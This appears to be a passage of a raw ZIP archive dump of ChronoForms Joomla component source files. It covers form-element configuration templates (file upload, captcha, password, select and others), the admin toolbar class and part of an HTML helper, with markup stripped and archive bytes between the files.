array('type' => 'hidden', 'id' => 'input_security_q_{n}_input_class', 'value' => $element_params['input_class'])); ?> input('chronofield[{n}][input_security_q_{n}_input_title]', array('type' => 'hidden', 'id' => 'input_security_q_{n}_input_title', 'value' => $element_params['input_title'])); ?> input('chronofield[{n}][input_security_q_{n}_label_over]', array('type' => 'hidden', 'id' => 'input_security_q_{n}_label_over', 'value' => $element_params['label_over'])); ?> input('chronofield[{n}][input_security_q_{n}_hide_label]', array('type' => 'hidden', 'id' => 'input_security_q_{n}_hide_label', 'value' => $element_params['hide_label'])); ?>
      Header(array('general' => 'General', 'other' => 'Other', 'validation' => 'Validation'), 'input_security_q_element_config_{n}'); ?> tabStart('general'); ?> input('input_security_q_{n}_input_name_config', array('type' => 'text', 'label' => 'Field Name', 'class' => 'small_input', 'value' => '')); ?> input('input_security_q_{n}_input_id_config', array('type' => 'text', 'label' => 'Field ID', 'class' => 'small_input', 'value' => '')); ?> input('input_security_q_{n}_input_value_config', array('type' => 'text', 'label' => 'Field Default Value', 'class' => 'small_input', 'value' => '')); ?> input('input_security_q_{n}_input_maxlength_config', array('type' => 'text', 'label' => 'Field Max Length', 'class' => 'small_input', 'value' => '')); ?> input('input_security_q_{n}_input_size_config', array('type' => 'text', 'label' => 'Field Size', 'class' => 'small_input', 'value' => '')); ?> input('input_security_q_{n}_input_class_config', array('type' => 'text', 'label' => 'Field Class', 'class' => 'small_input', 'value' => '')); ?> input('input_security_q_{n}_input_title_config', array('type' => 'text', 'label' => 'Field title', 'class' => 'small_input', 'value' => '')); ?> input('input_security_q_{n}_label_text_config', array('type' => 'text', 'label' => 'Label Text', 'class' => 'small_input', 'value' => '')); ?> tabEnd(); ?> tabStart('other'); ?> input('input_security_q_{n}_label_over_config', array('type' => 'checkbox', 'label' => 'Label Over', 'value' => '1', 'rule' => "bool")); ?> input('input_security_q_{n}_hide_label_config', array('type' => 'checkbox', 'label' => 'Hide Label', 'value' => '1', 'rule' => "bool")); ?> input('input_security_q_{n}_instructions_config', array('type' => 'textarea', 'label' => 'Instructions for users', 'rows' => 5, 'cols' => 50)); ?> input('input_security_q_{n}_tooltip_config', array('type' => 'textarea', 'label' => 'Tooltip', 'rows' => 5, 'cols' => 50)); ?> tabEnd(); ?> tabStart('validation'); ?> input('input_security_q_{n}_validations_config', array('type' => 'checkbox', 'label' => 'Required', 'class' => 'small_input', 'value' => 'required', 'rule' => "split", 'splitter' => ",")); ?> tabEnd(); ?>
      PK@y>\y=FF=components/com_chronoforms/form_elements/input_page_break.phpnuW+A 'New Page', 'container_id' => 0, ); } return array('element_params' => $element_params); } } ?>PK@y>\P&7components/com_chronoforms/form_elements/input_file.ctpnuW+A
      File Upload
      input('chronofield[{n}][input_file_{n}_input_id]', array('type' => 'hidden', 'id' => 'input_file_{n}_input_id', 'value' => $element_params['input_id'])); ?> input('chronofield[{n}][input_file_{n}_label_text]', array('type' => 'hidden', 'id' => 'input_file_{n}_label_text', 'value' => $element_params['label_text'])); ?> input('chronofield[{n}][input_file_{n}_input_name]', array('type' => 'hidden', 'id' => 'input_file_{n}_input_name', 'value' => $element_params['input_name'])); ?> input('chronofield[{n}][input_file_{n}_input_class]', array('type' => 'hidden', 'id' => 'input_file_{n}_input_class', 'value' => $element_params['input_class'])); ?> input('chronofield[{n}][input_file_{n}_input_title]', array('type' => 'hidden', 'id' => 'input_file_{n}_input_title', 'value' => $element_params['input_title'])); ?> input('chronofield[{n}][input_file_{n}_label_over]', array('type' => 'hidden', 'id' => 'input_file_{n}_label_over', 'value' => $element_params['label_over'])); ?> input('chronofield[{n}][input_file_{n}_hide_label]', array('type' => 'hidden', 'id' => 'input_file_{n}_hide_label', 'value' => $element_params['hide_label'])); ?> input('chronofield[{n}][input_file_{n}_ghost]', array('type' => 'hidden', 'id' => 'input_file_{n}_ghost', 'value' => $element_params['ghost'])); ?> input('chronofield[{n}][input_file_{n}_ghost_value]', array('type' => 'hidden', 'id' => 'input_file_{n}_ghost_value', 'value' => $element_params['ghost_value'])); ?> input('chronofield[{n}][input_file_{n}_multiline_start]', array('type' => 'hidden', 'id' => 'input_file_{n}_multiline_start', 'value' => $element_params['multiline_start'])); ?> input('chronofield[{n}][input_file_{n}_multiline_add]', array('type' => 'hidden', 'id' => 'input_file_{n}_multiline_add', 'value' => $element_params['multiline_add'])); ?>
      Header(array('general' => 'General', 'other' => 'Other', 'validation' => 'Validation', 'ghost' => 'Ghost'), 'input_file_element_config_{n}'); ?> tabStart('general'); ?> input('input_file_{n}_label_text_config', array('type' => 'text', 'label' => 'Label Text', 'class' => 'small_input', 'value' => '')); ?> input('input_file_{n}_input_name_config', array('type' => 'text', 'label' => 'Field Name', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'No spaces or any special characters, but underscores _ and square brackets [] are allowed.')); ?> input('input_file_{n}_input_title_config', array('type' => 'text', 'label' => 'Field Title', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'Change this to override the default JS validation error message.')); ?> input('input_file_{n}_input_id_config', array('type' => 'text', 'label' => 'Field ID', 'class' => 'small_input', 'value' => '')); ?> input('input_file_{n}_input_class_config', array('type' => 'text', 'label' => 'Field Class', 'class' => 'small_input', 'value' => '')); ?> tabEnd(); ?> tabStart('other'); ?> input('input_file_{n}_label_over_config', array('type' => 'checkbox', 'label' => 'Label Over', 'value' => '1', 'rule' => "bool")); ?> input('input_file_{n}_hide_label_config', array('type' => 'checkbox', 'label' => 'Hide Label', 'value' => '1', 'rule' => "bool")); ?> input('input_file_{n}_instructions_config', array('type' => 'textarea', 'label' => 'Instructions for users', 'rows' => 5, 'cols' => 50)); ?> input('input_file_{n}_tooltip_config', array('type' => 'textarea', 'label' => 'Tooltip', 'rows' => 5, 'cols' => 50)); ?> input('input_file_{n}_multiline_start_config', array('type' => 'checkbox', 'label' => 'Start a Multi field row', 'value' => '1', 'rule' => "bool")); ?> input('input_file_{n}_multiline_add_config', array('type' => 'checkbox', 'label' => 'Add to a Multi field row', 'value' => '1', 'rule' => "bool")); ?> tabEnd(); ?> tabStart('validation'); ?> input('input_file_{n}_validations_config', array('type' => 'checkbox', 'label' => 'Required', 'class' => 'small_input', 'value' => 'required', 'rule' => "split", 'splitter' => ",")); ?> tabEnd(); ?> tabStart('ghost'); ?> input('input_file_{n}_ghost_config', array('type' => 'checkbox', 'label' => 'Enable Ghost', 'class' => 'small_input', 'value' => '1', 'rule' => "bool", 'smalldesc' => 'The ghost is a hidden field with the same name to assure that a key with this field name always exists in the POST array.')); ?> input('input_file_{n}_ghost_value_config', array('type' => 'text', 'label' => 'Ghost Value', 'value' => '', 'class' => 'medium_input', 'smalldesc' => 'Value here will appear if no choice has been made.')); ?> tabEnd(); ?>
      PK@y>\n6s8  ;components/com_chronoforms/form_elements/input_checkbox.phpnuW+A 'input_checkbox_{n}', 'label_id' => 'input_checkbox_{n}_label', 'label_text' => 'Label Text', 'label_position' => 'left', 'hide_label' => '0', 'label_over' => '0', 'multiline_start' => '0', 'multiline_add' => '0', 'input_name' => 'input_checkbox_{n}', 'input_id' => '', 'ghost' => '1', 'ghost_value' => '', 'input_title' => '', 'input_value' => '1', 'checked' => '0', 'validations' => '', 'tooltip' => '', 'container_id' => 0, 'instructions' => ''); } return array('element_params' => $element_params); } function save($formdata_element = array(), $field_header = '', $formcontent_item_array = array()){ $formcontent_item_array['checked'] = (bool)$formdata_element[$field_header.'_checked']; $formcontent_item_array['value'] = $formdata_element[$field_header.'_input_value']; $formcontent_item_array['id'] = $formdata_element[$field_header.'_input_id']; $formcontent_item_array['ghost'] = $formdata_element[$field_header.'_ghost']; $formcontent_item_array['ghost_value'] = $formdata_element[$field_header.'_ghost_value']; $formcontent_item_array['label_over'] = $formdata_element[$field_header.'_label_over']; $formcontent_item_array['hide_label'] = $formdata_element[$field_header.'_hide_label']; $formcontent_item_array['multiline_start'] = $formdata_element[$field_header.'_multiline_start']; $formcontent_item_array['multiline_add'] = $formdata_element[$field_header.'_multiline_add']; $formcontent_item_array['title'] = $formdata_element[$field_header.'_input_title']; $formcontent_item_array['label_position'] = $formdata_element[$field_header.'_label_position']; $formcontent_item_array['validations'] = $formdata_element[$field_header.'_validations']; $formcontent_item_array['smalldesc'] = $formdata_element[$field_header.'_instructions']; $formcontent_item_array['tooltip'] = $formdata_element[$field_header.'_tooltip']; $formcontent_item_array['type'] = $formdata_element['type']; return $formcontent_item_array; } } ?>PK@y>\r7:components/com_chronoforms/form_elements/input_captcha.ctpnuW+A
      Captcha Input
      input('chronofield[{n}][input_captcha_{n}_input_id]', array('type' => 'hidden', 'id' => 'input_captcha_{n}_input_id', 'value' => $element_params['input_id'])); ?> input('chronofield[{n}][input_captcha_{n}_label_text]', array('type' => 'hidden', 'id' => 'input_captcha_{n}_label_text', 'value' => $element_params['label_text'])); ?> input('chronofield[{n}][input_captcha_{n}_input_name]', array('type' => 'hidden', 'id' => 'input_captcha_{n}_input_name', 'value' => $element_params['input_name'])); ?> input('chronofield[{n}][input_captcha_{n}_input_value]', array('type' => 'hidden', 'id' => 'input_captcha_{n}_input_value', 'value' => $element_params['input_value'])); ?> input('chronofield[{n}][input_captcha_{n}_input_maxlength]', array('type' => 'hidden', 'id' => 'input_captcha_{n}_input_maxlength', 'value' => $element_params['input_maxlength'])); ?> input('chronofield[{n}][input_captcha_{n}_input_size]', array('type' => 'hidden', 'id' => 'input_captcha_{n}_input_size', 'value' => $element_params['input_size'])); ?> input('chronofield[{n}][input_captcha_{n}_input_class]', array('type' => 'hidden', 'id' => 'input_captcha_{n}_input_class', 'value' => $element_params['input_class'])); ?> input('chronofield[{n}][input_captcha_{n}_input_title]', array('type' => 'hidden', 'id' => 'input_captcha_{n}_input_title', 'value' => $element_params['input_title'])); ?> input('chronofield[{n}][input_captcha_{n}_label_over]', array('type' => 'hidden', 'id' => 'input_captcha_{n}_label_over', 'value' => $element_params['label_over'])); ?> input('chronofield[{n}][input_captcha_{n}_hide_label]', array('type' => 'hidden', 'id' => 'input_captcha_{n}_hide_label', 'value' => $element_params['hide_label'])); ?>
      Header(array('general' => 'General', 'other' => 'Other', 'validation' => 'Validation'), 'input_captcha_element_config_{n}'); ?> tabStart('general'); ?> input('input_captcha_{n}_label_text_config', array('type' => 'text', 'label' => 'Label Text', 'class' => 'small_input', 'value' => '')); ?> input('input_captcha_{n}_input_name_config', array('type' => 'text', 'disabled' => 'true', 'label' => 'Field Name', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'No spaces or any special characters, underscores allowed.')); ?> input('input_captcha_{n}_input_title_config', array('type' => 'text', 'label' => 'Field Title', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'Change this to override the default JS validation error message.')); ?> input('input_captcha_{n}_input_value_config', array('type' => 'text', 'label' => 'Field Default Value', 'class' => 'small_input', 'value' => '')); ?> input('input_captcha_{n}_input_maxlength_config', array('type' => 'text', 'label' => 'Field Max Length', 'class' => 'small_input', 'value' => '')); ?> input('input_captcha_{n}_input_size_config', array('type' => 'text', 'label' => 'Field Size', 'class' => 'small_input', 'value' => '')); ?> input('input_captcha_{n}_input_class_config', array('type' => 'text', 'label' => 'Field Class', 'class' => 'small_input', 'value' => '')); ?> input('input_captcha_{n}_input_id_config', array('type' => 'text', 'label' => 'Field ID', 'class' => 'small_input', 'value' => '')); ?> tabEnd(); ?> tabStart('other'); ?> input('input_captcha_{n}_label_over_config', array('type' => 'checkbox', 'label' => 'Label Over', 'value' => '1', 'rule' => "bool")); ?> input('input_captcha_{n}_hide_label_config', array('type' => 'checkbox', 'label' => 'Hide Label', 'value' => '1', 'rule' => "bool")); ?> input('input_captcha_{n}_instructions_config', array('type' => 'textarea', 'label' => 'Instructions for users', 'rows' => 5, 'cols' => 50)); ?> input('input_captcha_{n}_tooltip_config', array('type' => 'textarea', 'label' => 'Tooltip', 'rows' => 5, 'cols' => 50)); ?> tabEnd(); ?> tabStart('validation'); ?> input('input_captcha_{n}_validations_config', array('type' => 'checkbox', 'label' => 'Required', 'class' => 'small_input', 'value' => 'required', 'rule' => "split", 'splitter' => ",")); ?> tabEnd(); ?>
      PK@y>\3;components/com_chronoforms/form_elements/input_password.ctpnuW+A
      Password Box
      input('chronofield[{n}][input_password_{n}_input_id]', array('type' => 'hidden', 'id' => 'input_password_{n}_input_id', 'value' => $element_params['input_id'])); ?> input('chronofield[{n}][input_password_{n}_label_text]', array('type' => 'hidden', 'id' => 'input_password_{n}_label_text', 'value' => $element_params['label_text'])); ?> input('chronofield[{n}][input_password_{n}_input_name]', array('type' => 'hidden', 'id' => 'input_password_{n}_input_name', 'value' => $element_params['input_name'])); ?> input('chronofield[{n}][input_password_{n}_input_value]', array('type' => 'hidden', 'id' => 'input_password_{n}_input_value', 'value' => $element_params['input_value'])); ?> input('chronofield[{n}][input_password_{n}_input_maxlength]', array('type' => 'hidden', 'id' => 'input_password_{n}_input_maxlength', 'value' => $element_params['input_maxlength'])); ?> input('chronofield[{n}][input_password_{n}_input_size]', array('type' => 'hidden', 'id' => 'input_password_{n}_input_size', 'value' => $element_params['input_size'])); ?> input('chronofield[{n}][input_password_{n}_input_class]', array('type' => 'hidden', 'id' => 'input_password_{n}_input_class', 'value' => $element_params['input_class'])); ?> input('chronofield[{n}][input_password_{n}_input_title]', array('type' => 'hidden', 'id' => 'input_password_{n}_input_title', 'value' => $element_params['input_title'])); ?> input('chronofield[{n}][input_password_{n}_label_over]', array('type' => 'hidden', 'id' => 'input_password_{n}_label_over', 'value' => $element_params['label_over'])); ?> input('chronofield[{n}][input_password_{n}_hide_label]', array('type' => 'hidden', 'id' => 'input_password_{n}_hide_label', 'value' => $element_params['hide_label'])); ?> input('chronofield[{n}][input_password_{n}_multiline_start]', array('type' => 'hidden', 'id' => 'input_password_{n}_multiline_start', 'value' => $element_params['multiline_start'])); ?> input('chronofield[{n}][input_password_{n}_multiline_add]', array('type' => 'hidden', 'id' => 'input_password_{n}_multiline_add', 'value' => $element_params['multiline_add'])); ?>
      Header(array('general' => 'General', 'other' => 'Other', 'validation' => 'Validation'), 'input_password_element_config_{n}'); ?> tabStart('general'); ?> input('input_password_{n}_label_text_config', array('type' => 'text', 'label' => 'Label Text', 'class' => 'small_input', 'value' => '')); ?> input('input_password_{n}_input_name_config', array('type' => 'text', 'label' => 'Field Name', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'No spaces or any special characters, but underscores _ and square brackets [] are allowed.')); ?> input('input_password_{n}_input_value_config', array('type' => 'text', 'label' => 'Field Default Value', 'class' => 'small_input', 'value' => '')); ?> input('input_password_{n}_input_maxlength_config', array('type' => 'text', 'label' => 'Field Max Length', 'class' => 'small_input', 'value' => '')); ?> input('input_password_{n}_input_size_config', array('type' => 'text', 'label' => 'Field Size', 'class' => 'small_input', 'value' => '')); ?> input('input_password_{n}_input_title_config', array('type' => 'text', 'label' => 'Field Title', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'Change this to override the default JS validation error message.')); ?> input('input_password_{n}_input_class_config', array('type' => 'text', 'label' => 'Field Class', 'class' => 'small_input', 'value' => '')); ?> input('input_password_{n}_input_id_config', array('type' => 'text', 'label' => 'Field ID', 'class' => 'small_input', 'value' => '')); ?> tabEnd(); ?> tabStart('other'); ?> input('input_password_{n}_label_over_config', array('type' => 'checkbox', 'label' => 'Label Over', 'value' => '1', 'rule' => "bool")); ?> input('input_password_{n}_hide_label_config', array('type' => 'checkbox', 'label' => 'Hide Label', 'value' => '1', 'rule' => "bool")); ?> input('input_password_{n}_instructions_config', array('type' => 'textarea', 'label' => 'Instructions for users', 'rows' => 5, 'cols' => 50)); ?> input('input_password_{n}_tooltip_config', array('type' => 'textarea', 'label' => 'Tooltip', 'rows' => 5, 'cols' => 50)); ?> input('input_password_{n}_multiline_start_config', array('type' => 'checkbox', 'label' => 'Start a Multi field row', 'value' => '1', 'rule' => "bool")); ?> input('input_password_{n}_multiline_add_config', array('type' => 'checkbox', 'label' => 'Add to a Multi field row', 'value' => '1', 'rule' => "bool")); ?> tabEnd(); ?> tabStart('validation'); ?> input('input_password_{n}_validations_config', array('type' => 'checkbox', 'label' => 'Required', 'class' => 'small_input', 'value' => 'required', 'rule' => "split", 'splitter' => ",")); ?> input('input_password_{n}_validations_config', array('type' => 'checkbox', 'label' => 'Alpha', 'class' => 'small_input', 'value' => 'alpha', 'rule' => "split", 'splitter' => ",")); ?> input('input_password_{n}_validations_config', array('type' => 'checkbox', 'label' => 'Digits', 'class' => 'small_input', 'value' => 'digits', 'rule' => "split", 'splitter' => ",")); ?> tabEnd(); ?>
      PK@y>\w<components/com_chronoforms/form_elements/input_container.phpnuW+A 'Container #{n}', 'container_id' => 0, 'collapsed' => 0, 'container_type' => '', 'start_code' => '', 'end_code' => '', 'container_class' => '', ); } return array('element_params' => $element_params); } } ?>PK@y>\c<))9components/com_chronoforms/form_elements/input_select.ctpnuW+A
      Drop Down
      0){ $temp_options = explode("\n", $element_params['options']); $element_params['options'] = array(); foreach($temp_options as $temp_option){ $temp_option_details = explode('=', $temp_option); $element_params['options'][strval($temp_option_details[0])] = trim($temp_option_details[1]); } }else{ $element_params['options'] = array(); } ?> $select_option_text){ if(!empty($options)){ $options .= "\n"; } $options .= $select_option_value.'='.$select_option_text; } ?> input('chronofield[{n}][input_select_{n}_input_id]', array('type' => 'hidden', 'id' => 'input_select_{n}_input_id', 'value' => $element_params['input_id'])); ?> input('chronofield[{n}][input_select_{n}_label_text]', array('type' => 'hidden', 'id' => 'input_select_{n}_label_text', 'value' => $element_params['label_text'])); ?> input('chronofield[{n}][input_select_{n}_input_name]', array('type' => 'hidden', 'id' => 'input_select_{n}_input_name', 'value' => $element_params['input_name'])); ?> input('chronofield[{n}][input_select_{n}_size]', array('type' => 'hidden', 'id' => 'input_select_{n}_size', 'value' => $element_params['size'])); ?> input('chronofield[{n}][input_select_{n}_input_class]', array('type' => 'hidden', 'id' => 'input_select_{n}_input_class', 'value' => $element_params['input_class'])); ?> input('chronofield[{n}][input_select_{n}_input_title]', array('type' => 'hidden', 'id' => 'input_select_{n}_input_title', 'value' => $element_params['input_title'])); ?> input('chronofield[{n}][input_select_{n}_label_over]', array('type' => 'hidden', 'id' => 'input_select_{n}_label_over', 'value' => $element_params['label_over'])); ?> input('chronofield[{n}][input_select_{n}_hide_label]', array('type' => 'hidden', 'id' => 'input_select_{n}_hide_label', 'value' => $element_params['hide_label'])); ?> input('chronofield[{n}][input_select_{n}_selected]', array('type' => 'hidden', 'id' => 'input_select_{n}_selected', 'value' => $element_params['selected'])); ?> input('chronofield[{n}][input_select_{n}_showempty]', array('type' => 'hidden', 'id' => 'input_select_{n}_showempty', 'value' => $element_params['showempty'])); ?> input('chronofield[{n}][input_select_{n}_multiple]', array('type' => 'hidden', 'id' => 'input_select_{n}_multiple', 'value' => $element_params['multiple'])); ?> input('chronofield[{n}][input_select_{n}_multiline_start]', array('type' => 'hidden', 'id' => 'input_select_{n}_multiline_start', 'value' => $element_params['multiline_start'])); ?> input('chronofield[{n}][input_select_{n}_multiline_add]', array('type' => 'hidden', 'id' => 'input_select_{n}_multiline_add', 'value' => $element_params['multiline_add'])); ?> input('chronofield[{n}][input_select_{n}_enable_dynamic_data]', array('type' => 'hidden', 'id' => 'input_select_{n}_enable_dynamic_data', 'value' => $element_params['enable_dynamic_data'])); ?> input('chronofield[{n}][input_select_{n}_data_path]', array('type' => 'hidden', 'id' => 'input_select_{n}_data_path', 'value' => $element_params['data_path'])); ?> input('chronofield[{n}][input_select_{n}_value_key]', array('type' => 'hidden', 'id' => 'input_select_{n}_value_key', 'value' => $element_params['value_key'])); ?> input('chronofield[{n}][input_select_{n}_text_key]', array('type' => 'hidden', 'id' => 'input_select_{n}_text_key', 'value' => $element_params['text_key'])); ?>
      Header(array('general' => 'General', 'other' => 'Other', 'validation' => 'Validation', 'dynamic_data' => 'Dynamic Data'), 'input_select_element_config_{n}'); ?> tabStart('general'); ?> input('input_select_{n}_label_text_config', array('type' => 'text', 'label' => 'Label Text', 'class' => 'small_input', 'value' => '')); ?> input('input_select_{n}_input_name_config', array('type' => 'text', 'label' => 'Field Name', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'No spaces or any special characters, but underscores _ and square brackets [] are allowed.')); ?> input('input_select_{n}_input_title_config', array('type' => 'text', 'label' => 'Field title', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'Change this to override the default JS validation error message.')); ?> input('input_select_{n}_multiple_config', array('type' => 'checkbox', 'label' => 'Multiple', 'class' => 'small_input', 'value' => '1', 'rule' => "bool")); ?> input('input_select_{n}_size_config', array('type' => 'text', 'label' => 'Size', 'class' => 'small_input', 'value' => '')); ?> input('input_select_{n}_selected_config', array('type' => 'text', 'label' => 'Selected', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'The selected value by default if any.')); ?> input('input_select_{n}_showempty_config', array('type' => 'text', 'label' => 'Show Empty', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'Write the text for the empty value (Please select) or leave empty for no empty value.')); ?> input('input_select_{n}_options_config', array('type' => 'textarea', 'label' => 'Options', 'rows' => 5, 'cols' => 50, 'operation' => "multi_option", 'operation_fieldtype' => "select", 'smalldesc' => 'in value=text multi line format.')); ?> input('input_select_{n}_input_id_config', array('type' => 'text', 'label' => 'Field ID', 'class' => 'small_input', 'value' => '')); ?> input('input_select_{n}_input_class_config', array('type' => 'text', 'label' => 'Field Class', 'class' => 'small_input', 'value' => '')); ?> tabEnd(); ?> tabStart('other'); ?> input('input_select_{n}_label_over_config', array('type' => 'checkbox', 'label' => 'Label Over', 'value' => '1', 'rule' => "bool")); ?> input('input_select_{n}_hide_label_config', array('type' => 'checkbox', 'label' => 'Hide Label', 'value' => '1', 'rule' => "bool")); ?> input('input_select_{n}_instructions_config', array('type' => 'textarea', 'label' => 'Instructions for users', 'rows' => 5, 'cols' => 50)); ?> input('input_select_{n}_tooltip_config', array('type' => 'textarea', 'label' => 'Tooltip', 'rows' => 5, 'cols' => 50)); ?> input('input_select_{n}_multiline_start_config', array('type' => 'checkbox', 'label' => 'Start a Multi field row', 'value' => '1', 'rule' => "bool")); ?> input('input_select_{n}_multiline_add_config', array('type' => 'checkbox', 'label' => 'Add to a Multi field row', 'value' => '1', 'rule' => "bool")); ?> tabEnd(); ?> tabStart('validation'); ?> input('input_select_{n}_validations_config', array('type' => 'checkbox', 'label' => 'Required', 'class' => 'small_input', 'value' => 'required', 'rule' => "split", 'splitter' => ",")); ?> tabEnd(); ?> tabStart('dynamic_data'); ?> input('input_select_{n}_enable_dynamic_data_config', array('type' => 'select', 'label' => 'Enable', 'options' => array(0 => 'No', 1 => 'Yes'), 'default' => '1', 'smalldesc' => 'Enable Dynamic options loading, the options should exist in the $form->data array.')); ?> input('input_select_{n}_data_path_config', array('type' => 'text', 'label' => 'Data Path', 'value' => '', 'smalldesc' => 'The data path in the $form->data array, can be a MODEL ID, or a path using dots: MODEL1.MODEL2')); ?> input('input_select_{n}_value_key_config', array('type' => 'text', 'label' => 'Value Key', 'smalldesc' => 'The key name under which each option value will be found, so for example, if you have a multi list of users data loaded, then you may enter here "id"')); ?> input('input_select_{n}_text_key_config', array('type' => 'text', 'label' => 'Text Key', 'smalldesc' => 'The key name under which each option text will be found, so for example, if you have a multi list of users data loaded, then you may enter here "username"')); ?> tabEnd(); ?>
      PK@y>\:7components/com_chronoforms/toolbar.chronoforms.html.phpnuW+AsetQuery($query); $formname = $database->loadResult(); } JToolBarHelper::title(JText::_('Form Wizard').": ".$formname); JToolBarHelper::custom($task = 'preview', $icon = 'preview.png', $iconOver = 'preview.png', $alt = 'Test Form', $listSelect = false); JToolBarHelper::custom($task = 'fullscreen', $icon = 'fullscreen_b.png', $iconOver = 'fullscreen_b.png', $alt = 'Full Screen', $listSelect = false); JToolBarHelper::divider(); JToolBarHelper::save('form_wizard'); JToolBarHelper::apply('apply_wizard_changes'); JToolBarHelper::divider(); JToolBarHelper::cancel(); } public static function admin_form_menu(){ JToolBarHelper::title(JText::_('Admin forms processor')); JToolBarHelper::back(); } public static function index_menu(){ JToolBarHelper::title(JText::_('Forms Manager')); JToolBarHelper::addNew(); JToolBarHelper::custom($task = 'copy', $icon = 'copy_f2.png', $iconOver = 'copy_f2.png', $alt = 'Copy form', $listSelect = true); JToolBarHelper::editList(); JToolBarHelper::divider(); JToolBarHelper::deleteList(); JToolBarHelper::divider(); JToolBarHelper::custom($task = 'create_table', $icon = 'wizard.png', $iconOver = 'wizard.png', $alt = 'Create table', $listSelect = true); JToolBarHelper::custom($task = 'list_data', $icon = 'properties_f2.png', $iconOver = 'properties_f2.png', $alt = 'Show Data', $listSelect = true); JToolBarHelper::divider(); JToolBarHelper::custom($task = 'backup_forms', $icon = 'backup.png', $iconOver = 'backup.png', $alt = 'Backup Forms', $listSelect = true); JToolBarHelper::custom($task = 'restore_forms', $icon = 'dbrestore.png', $iconOver = 'dbrestore.png', $alt = 'Restore Forms', $listSelect = false); JToolBarHelper::divider(); JToolBarHelper::custom($task = 'install_action', $icon = 'extensions.png', $iconOver = 'extensions.png', $alt = 'Install Action', $listSelect = false); } public static function edit_menu(){ JToolBarHelper::save(); JToolBarHelper::apply(); JToolBarHelper::spacer(); JToolBarHelper::cancel(); } public static function create_table_menu(){ JToolBarHelper::title(JText::_('Create Table')); JToolBarHelper::save('save_table', 'Save'); JToolBarHelper::spacer(); JToolBarHelper::cancel(); } public static function list_data_menu(){ JToolBarHelper::title(JText::_('Table Data Viewer')); if(isset($_POST['form_id'])){ $row = JTable::getInstance('chronoforms', 'Table'); $row->load($_POST['form_id']); $params = new JParameter($row->params); $dataview_actions = $params->get('dataview_actions', ''); if(!empty($dataview_actions)){ $dataview_actions = explode(",", $dataview_actions); foreach($dataview_actions as $dataview_action){ $action_pieces = explode(":", $dataview_action); JToolBarHelper::custom($task = 'admin_form:'.$action_pieces[0], $icon = 'wizard.png', $iconOver = 'wizard.png', $alt = $action_pieces[1], $listSelect = true); } } } //add CSV export action JToolBarHelper::custom($task = 'admin_form:cf_csv_export', $icon = 'wizard.png', $iconOver = 'wizard.png', $alt = 'CSV Export', $listSelect = false); JToolBarHelper::divider(); JToolBarHelper::deleteList('', 'delete_data', 'Delete'); JToolBarHelper::spacer(); JToolBarHelper::cancel(); } public static function show_data_menu(){ JToolBarHelper::title(JText::_('Record View')); JToolBarHelper::cancel('list_data', 'Cancel'); } public static function cancel_menu(){ $task = JRequest::getVar('task', ''); if($task == 'install_action'){ JToolBarHelper::title(JText::_('Actions Installer')); }else if($task == 'restore_forms'){ JToolBarHelper::title(JText::_('Restore Forms')); }else if($task == 'updates'){ JToolBarHelper::title(JText::_('Updates')); } JToolBarHelper::cancel('index', 'Cancel'); } public static function validatelicense_menu(){ JToolBarHelper::title(JText::_('Validate installation')); JToolBarHelper::custom($task = 'validatelicense', $icon = 'bKey.png', $iconOver = 'bKey.png', $alt = 'Validate', $listSelect = false); JToolBarHelper::spacer(); JToolBarHelper::cancel(); } } ?>PK@y>\%components/com_chronoforms/index.htmlnuW+APK@y>\-components/com_chronoforms/helpers/index.htmlnuW+APK@y>\ xUtUt2components/com_chronoforms/helpers/html_helper.phpnuW+A $value){ if($param == '#'){ $params[] = $param.''.$value; }else{ $params[] = $param.'='.$value; } } $output = implode("&", $params); $output = "index.php?".$output; } return $output; } function link($text = '', $link = array(), $html = array()){ $output = ''; if(is_array($link) && !empty($link)){ $params = array(); foreach($link as $param => $value){ if($param == '#'){ $params[] = $param.''.$value; }else{ $params[] = $param.'='.$value; } } $output = implode("&", $params); $output = "index.php?".$output; $output = ' $val){ if($tag == '#'){ $output .= $tag.''.$val.' '; }else{ $output .= $tag.'="'.$val.'" '; } } $output .= '>'.$text.''; } return $output; } function image($path = '', $html = array('border' => 0), $link = array()){ $output = ''; $output = ' $val){ $output .= $tag.'="'.$val.'" '; } $output .= ' />'; if(is_array($link) && !empty($link)){ $output = $this->link($output, $link); } return $output; } function input($fieldname = '', $fieldoptions = array(), $do_replacements = false){ $output = ''; $tag = array(); if(!isset($fieldoptions['type'])){ $fieldoptions['type'] = 'text'; $fieldoptions['tag'] = 'input'; } $tag['type'] = $fieldoptions['type']; $tag['name'] = $fieldname; //fix the quotes in the values if(isset($fieldoptions['value'])){ $fieldoptions['value'] = str_replace('"', "'", $fieldoptions['value']); } //prepare validation classes if(isset($fieldoptions['validations']) && !empty($fieldoptions['validations'])){ $validation_classes = explode(",", $fieldoptions['validations']); $validation_classes = array_map('trim', $validation_classes); if($fieldoptions['type'] == 'checkbox_group'){ //$validation_classes = array('%checkSelection'); } $field_class = array(); if(isset($fieldoptions['class'])){ $field_class = array($fieldoptions['class']); } $field_class[] = "validate['".implode("','", $validation_classes)."']"; $fieldoptions['class'] = implode(' ', $field_class); unset($fieldoptions['validations']); }else{ unset($fieldoptions['validations']); } //set id if not set if(!isset($fieldoptions['id'])){ $fieldoptions['id'] = $this->slug($fieldname); } //reset id if empty if(isset($fieldoptions['id']) && !strlen(trim($fieldoptions['id']))){ unset($fieldoptions['id']); } //apply the label class if(isset($fieldoptions['label']) && !is_array($fieldoptions['label']) && ($fieldoptions['label'] !== false)){ $fieldoptions['label'] = array('text' => $fieldoptions['label']); } if(!isset($fieldoptions['label'])){ $fieldoptions['label'] = false; } //check if radio to add the div /*if(isset($fieldoptions['type']) && ($fieldoptions['type'] == 'radio') && isset($fieldoptions['label']['text']) && strlen($fieldoptions['label']['text'])){ $fieldoptions['before'] = ''.$fieldoptions['label']['text'].''; if(!isset($fieldoptions['legend'])){ $fieldoptions['legend'] = false; } }*/ //prepare the tooltips if(isset($fieldoptions['tooltip'])){ if(strlen(trim($fieldoptions['tooltip']))){ if(!isset($fieldoptions['after'])){ $fieldoptions['after'] = ''; } //$tiplink = '?'; 